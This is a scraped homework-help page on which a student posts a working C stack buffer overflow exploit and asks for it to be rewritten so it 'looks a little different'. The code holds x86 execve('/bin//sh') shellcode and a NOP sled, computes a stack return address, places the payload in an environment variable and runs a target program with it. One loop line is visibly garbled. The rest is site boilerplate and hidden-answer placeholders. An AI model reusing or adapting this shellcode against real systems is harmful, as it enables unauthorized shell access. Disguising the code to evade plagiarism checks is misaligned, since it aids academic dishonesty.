Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

NEED HELP FAST.THIS PROGRAM IS WORKING I JUST NEED SOMEONE TO CHANGE THIS UP FAST AND MAKE IT LOOK A LITTLE DIFFERENT BUFFER OVERFLOW /*

NEED HELP FAST.THIS PROGRAM IS WORKING

I JUST NEED SOMEONE TO CHANGE THIS UP FAST AND MAKE IT LOOK A LITTLE DIFFERENT

BUFFER OVERFLOW

/* Header Declaration for function used */ #include #include #include #include

#define DEFAULT_OFFSET 1564 #define DEFAULT_BUFFER_SIZE 600 #define NOP 0x90 /* Shell code here*/ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ;

/* finding the stack pointer */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); return 0; }

/* Main starts here*/ int main(int argc, char **argv) { /* Variable Declaration*/ char *ptr; char buffer[DEFAULT_BUFFER_SIZE]; long addr; ptr = buffer;

/* get stack pointer address and copy stack pointer- offset into addr */ addr = get_sp() - DEFAULT_OFFSET; printf("Using address: 0x%lx ", addr);

/* copy the NOP in buffer using ptr */ for (int i = 0; i buffer[i] = NOP;

/* copy the shell code in buff using ptr */ ptr = buffer + ((DEFAULT_BUFFER_SIZE/2) - (strlen(code)/2)); for (int i = 0; i < strlen(code); i++) *(ptr++) = code[i];

/* terminate the string with null*/ buffer[DEFAULT_BUFFER_SIZE - 1] = '\0';

/* copy string into buffer*/ memcpy(buffer,"OVERFLOW=",9); /* set env variable*/ putenv(buffer); system("/bin/bash"); sleep(1); system("./overflow $OVERFLOW"); return 0; }

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image

Step: 3

blur-text-image

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Advances In Databases And Information Systems 22nd European Conference Adbis 2018 Budapest Hungary September 2 5 2018 Proceedings Lncs 11019

Authors: Andras Benczur ,Bernhard Thalheim ,Tomas Horvath

1st Edition

3319983970, 978-3319983974

More Books

Students also viewed these Databases questions